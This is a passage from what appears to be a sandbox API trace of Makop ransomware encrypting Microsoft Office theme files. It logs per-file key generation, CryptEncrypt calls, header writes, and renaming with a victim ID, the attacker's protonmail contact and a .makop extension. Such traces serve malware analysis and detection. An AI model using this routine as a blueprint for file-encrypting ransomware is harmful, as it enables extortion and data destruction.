lpNumberOfBytesRead=0x6577ab4*=0x6818, lpOverlapped=0x0) returned 1 [0159.443] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x6820, dwBufLen=0x6820 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x6820) returned 1 [0159.443] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.444] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x6820, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x6820, lpOverlapped=0x0) returned 1 [0159.444] CryptDestroyKey (hKey=0x48c7128) returned 1 [0159.444] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x68e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.444] SetEndOfFile (hFile=0xf0) returned 1 [0159.451] GetProcessHeap () returned 0x48a0000 [0159.451] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48c37a8 | out: hHeap=0x48a0000) returned 1 [0159.451] GetProcessHeap () returned 0x48a0000 [0159.451] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0159.452] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Flow.eftx.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 123 [0159.452] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Flow.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\flow.eftx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Flow.eftx.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\flow.eftx.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0159.454] CloseHandle (hObject=0xf0) returned 1 [0159.454] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x10b8b100, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5b0c1e0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x10b8b100, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x4732, dwReserved0=0x0, dwReserved1=0x0, cFileName="Foundry.eftx", cAlternateFileName="FOUNDR~1.EFT")) returned 1 [0159.454] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Foundry.eftx") returned 79 [0159.454] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Foundry.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\foundry.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0159.456] GetProcessHeap () returned 0x48a0000 [0159.456] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0159.456] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0159.456] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0159.456] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xe, lpOverlapped=0x0) returned 1 [0159.461] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0159.461] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0159.461] GetProcessHeap () returned 0x48a0000 [0159.461] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0159.462] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0159.462] CryptDestroyKey (hKey=0x48c7128) returned 1 [0159.462] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0159.462] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0159.462] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0159.462] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0159.462] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0159.463] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0159.463] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0159.463] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0159.463] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.463] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x4732, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x4732, lpOverlapped=0x0) returned 1 [0159.465] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x4740, dwBufLen=0x4740 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x4740) returned 1 [0159.465] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.465] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x4740, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x4740, lpOverlapped=0x0) returned 1 [0159.465] CryptDestroyKey (hKey=0x48c7128) returned 1 [0159.465] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x4814, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.466] SetEndOfFile (hFile=0xf0) returned 1 [0159.472] GetProcessHeap () returned 0x48a0000 [0159.472] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0159.472] GetProcessHeap () returned 0x48a0000 [0159.472] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0159.472] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Foundry.eftx.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 126 [0159.473] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Foundry.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\foundry.eftx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Foundry.eftx.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\foundry.eftx.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0159.474] CloseHandle (hObject=0xf0) returned 1 [0159.474] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4d84a800, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5b0c1e0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x4d84a800, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x48cf, dwReserved0=0x0, dwReserved1=0x0, cFileName="Grid.eftx", cAlternateFileName="GRID~1.EFT")) returned 1 [0159.474] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Grid.eftx") returned 76 [0159.474] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Grid.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\grid.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0159.477] GetProcessHeap () returned 0x48a0000 [0159.477] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0159.477] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0159.477] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0159.477] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x1, lpOverlapped=0x0) returned 1 [0159.482] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0159.482] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0159.482] GetProcessHeap () returned 0x48a0000 [0159.482] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x30) returned 0x48c37a8 [0159.482] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48c37a8*, pdwDataLen=0x6577a90*=0x30, dwBufLen=0x30 | out: pbData=0x48c37a8*, pdwDataLen=0x6577a90*=0x30) returned 1 [0159.482] CryptDestroyKey (hKey=0x48c7128) returned 1 [0159.482] WriteFile (in: hFile=0xf0, lpBuffer=0x48c37a8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c37a8*, lpNumberOfBytesWritten=0x6577aa8*=0x30, lpOverlapped=0x0) returned 1 [0159.482] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0159.483] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0159.483] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0159.483] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0159.483] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0159.483] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0159.483] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0159.483] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.484] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x48cf, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x48cf, lpOverlapped=0x0) returned 1 [0159.485] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x48d0, dwBufLen=0x48d0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x48d0) returned 1 [0159.486] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.486] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x48d0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x48d0, lpOverlapped=0x0) returned 1 [0159.486] CryptDestroyKey (hKey=0x48c7128) returned 1 [0159.486] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x4994, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.486] SetEndOfFile (hFile=0xf0) returned 1 [0159.494] GetProcessHeap () returned 0x48a0000 [0159.494] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48c37a8 | out: hHeap=0x48a0000) returned 1 [0159.494] GetProcessHeap () returned 0x48a0000 [0159.494] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0159.494] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Grid.eftx.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 123 [0159.494] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Grid.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\grid.eftx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Grid.eftx.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\grid.eftx.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0159.496] CloseHandle (hObject=0xf0) returned 1 [0159.496] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51182f00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5b32340, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x51182f00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x559e1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Hardcover.eftx", cAlternateFileName="HARDCO~1.EFT")) returned 1 [0159.496] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Hardcover.eftx") returned 81 [0159.496] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Hardcover.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\hardcover.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0159.497] GetProcessHeap () returned 0x48a0000 [0159.497] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0159.497] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0159.498] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0159.498] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xf, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xf, lpOverlapped=0x0) returned 1 [0159.504] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0159.504] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0159.505] GetProcessHeap () returned 0x48a0000 [0159.505] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0159.505] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0159.505] CryptDestroyKey (hKey=0x48c7128) returned 1 [0159.505] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0159.505] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0159.505] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0159.505] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0159.506] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0159.506] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0159.506] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0159.506] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0159.506] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.506] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x559e1, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x559e1, lpOverlapped=0x0) returned 1 [0159.517] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x559f0, dwBufLen=0x559f0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x559f0) returned 1 [0159.521] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.521] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x559f0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x559f0, lpOverlapped=0x0) returned 1 [0159.524] CryptDestroyKey (hKey=0x48c7128) returned 1 [0159.524] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x55ac4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.524] SetEndOfFile (hFile=0xf0) returned 1 [0159.532] GetProcessHeap () returned 0x48a0000 [0159.532] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0159.532] GetProcessHeap () returned 0x48a0000 [0159.532] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0159.532] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Hardcover.eftx.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 128 [0159.533] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Hardcover.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\hardcover.eftx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Hardcover.eftx.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\hardcover.eftx.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0159.534] CloseHandle (hObject=0xf0) returned 1 [0159.535] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d33b000, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5b32340, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x7d33b000, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x33892, dwReserved0=0x0, dwReserved1=0x0, cFileName="Horizon.eftx", cAlternateFileName="HORIZO~1.EFT")) returned 1 [0159.535] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Horizon.eftx") returned 79 [0159.535] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Horizon.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\horizon.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0159.536] GetProcessHeap () returned 0x48a0000 [0159.536] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0159.536] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0159.536] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0159.536] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xe, lpOverlapped=0x0) returned 1 [0159.541] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0159.541] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0159.541] GetProcessHeap () returned 0x48a0000 [0159.541] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0159.541] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0159.541] CryptDestroyKey (hKey=0x48c7128) returned 1 [0159.541] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0159.541] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0159.541] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0159.542] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0159.542] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0159.542] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, 